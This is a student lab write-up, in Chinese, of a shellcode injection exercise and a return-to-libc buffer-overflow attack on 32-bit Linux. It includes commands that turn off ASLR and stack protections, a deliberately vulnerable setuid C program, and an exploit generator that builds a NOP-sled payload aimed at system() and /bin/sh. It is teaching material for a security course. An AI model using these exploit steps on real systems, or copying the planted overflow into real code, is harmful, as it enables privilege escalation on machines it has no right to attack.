20145239杜文超《网络对抗》- shellcode注入&Return-to-libc攻击深入

20145239杜文超《网络对抗》- shellcode注入&Return-to-libc攻击深入

shellcode基础知识

Shellcode是一段代码,作为数据发送给受攻击服务器,是溢出程序和蠕虫病毒的核心,一般可以获取权限。我们将代码存储到对方的堆栈中,并将堆栈的返回地址利用缓冲区溢出,覆盖成为指向 shellcode的地址。

shellcode注入实践过程

1、先复制一个新的pwn1文件,并以我自己的学号命名,然后修改一些设置(首先要安装工具:apt-get install exestack)。

root@KaliYL:~# execstack -s pwn1//设置堆栈可执行
root@KaliYL:~# execstack -q pwn1//查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0

2、shellcode两种构造方法:

  • retaddr+nop+shellcode //retaddr在缓冲区的位置是固定的,缓冲区比较小的时候shellcode放retaddr后面
  • nop+shellcode+retaddr //缓冲区比较大的时候hsellcode放retaddr前面

我们选择nops+shellcode+retaddr,首先构造一个shellcode作为输入:

3、打开另一个终端注入这段攻击buf。注意输入指令之后不要立即按回车,在后面的调试过程中需要继续运行的时候再回车。

4、开启另一个终端,输入ps -ef | grep ./20145239,查看进程的UID,如图下2506即进程号。

5、进入gdb模式,然后输入attach 2506与进程进行连接。

6、输入命令disassemble foo对foo函数进行反汇编。

7、在ret处设置断点,查看注入buf的内存地址。

8、在gdb中输入c往下执行,同时切换到刚才注入命令的窗口按下回车。

9、此时寄存器esp中的值,这个地址就是函数的返回地址。

10、重新构造shellcode,将返回地址修改为shellcode的首地址0xffffd340。

11、注入成功!

Return-to-libc攻击深入

Return-to-libc攻击简介

      shellcode注入攻击在实施时通常首先要将恶意代码注入目标漏洞程序中。但是,程序的代码段通常设置为不可写,因此攻击者需要将此攻击代码置于堆栈中。于是为了阻止此种类型的攻击,缓冲区溢出防御机制采用了非执行堆栈技术,这种技术使得堆栈上的恶意代码不可执行。

      为了避开这种防御机制,缓冲区溢出又出现了新的变体 return-into-libc 攻击。return-into-libc 的攻击者并不需要栈可以执行,甚至不需要注入新的代码,就可以实现攻击。return-into-libc 攻击不需要注入新的恶意代码,取而代之的是重用漏洞程序中已有的函数完成攻击,让漏洞程序跳转到已有的代码序列。攻击者在实施攻击时仍然可以用恶意代码的地址来覆盖程序函数调用的返回地址,并传递重新设定好的参数使其能够按攻击者的期望运行。这就是为什么攻击者会采用 return-into-libc 的方式,并使用程序提供的库函数。这种攻击方式在实现攻击的同时,也避开了数据执行保护策略中对攻击代码的注入和执行进行的防护。

攻击过程

1、本次实践在32位Linux下进行,设置32位linux环境,首先输入sudo apt-get update来更新软件源。

2、使用命令sudo apt-get install lib32z1 libc6-dev-i386安装软件。

3、后输入sudo apt - get install lib32readline-gplv2-dev,然后进入32位环境,进入bash。

4、将地址随机化关闭。

5、设置zsh程序。/bin/bash能够通过使shell程序放弃自己的root权限来防范缓冲区溢出攻击及其他利用shell程序的攻击,在本实践中,我们用zsh程序替代/bin/bash程序,解除此防护措施。

6、进入tmp目录,使用vim编写retlib.c程序,代码如下:

  #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int bof(FILE *badfile)
    {
    char buffer[12];
    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 40, badfile);
    return 1;
    }
    int main(int argc, char **argv)
    {
    FILE *badfile;
    badfile = fopen("badfile", "r");
    bof(badfile);
    printf("Returned Properly
");
    fclose(badfile);
    return 1;
    }

7、编译程序并设置SET-UID,设置su以root身份执行,运用-fno-stack-protector关闭栈保护机制。

8、编写并编译20145239getenvaddr.c。这个程序是用来读取环境变量的,代码如下:

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    int main(int argc, char const *argv[])
    {
     char *ptr;
    
     if(argc < 3){
        printf("Usage: %s <environment var> <target program name>
", argv[0]);
        exit(0);
        }
     ptr = getenv(argv[1]);
     ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
     printf("%s will be at %p
", argv[1], ptr);
     return 0;
    }

9、最后vim编写攻击程序,写好后先放到tmp目录下。

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int main(int argc, char **argv)
    {
     char buf[40];
     FILE *badfile;
     badfile = fopen(".//badfile", "w");
    
     strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times
    
     *(long *) &buf[32] =0x11111111; // 查询BIN_SH的地址后放入
     *(long *) &buf[24] =0x22222222; // 查询system()的地址后放入
     *(long *) &buf[36] =0x33333333; // 查询exit()的地址后放入
     fwrite(buf, sizeof(buf), 1, badfile);
     fclose(badfile);
    }

10、获取 BIN_SH 地址(0xffffde21)。

11、编译攻击程序20145239exploit.c。

12、使用gdb获取system 和 exit 的地址(我的地址分别为0xf7e2eb30和0x7e227e0)。

13、vim攻击程序20145239exploit.c中的三个地址的值。

14、将之前编译生成的文件和运行生成的badfile文件删掉,重新编译执行。

15、攻击成功!

原文地址:https://www.cnblogs.com/dwc929210354/p/6628530.html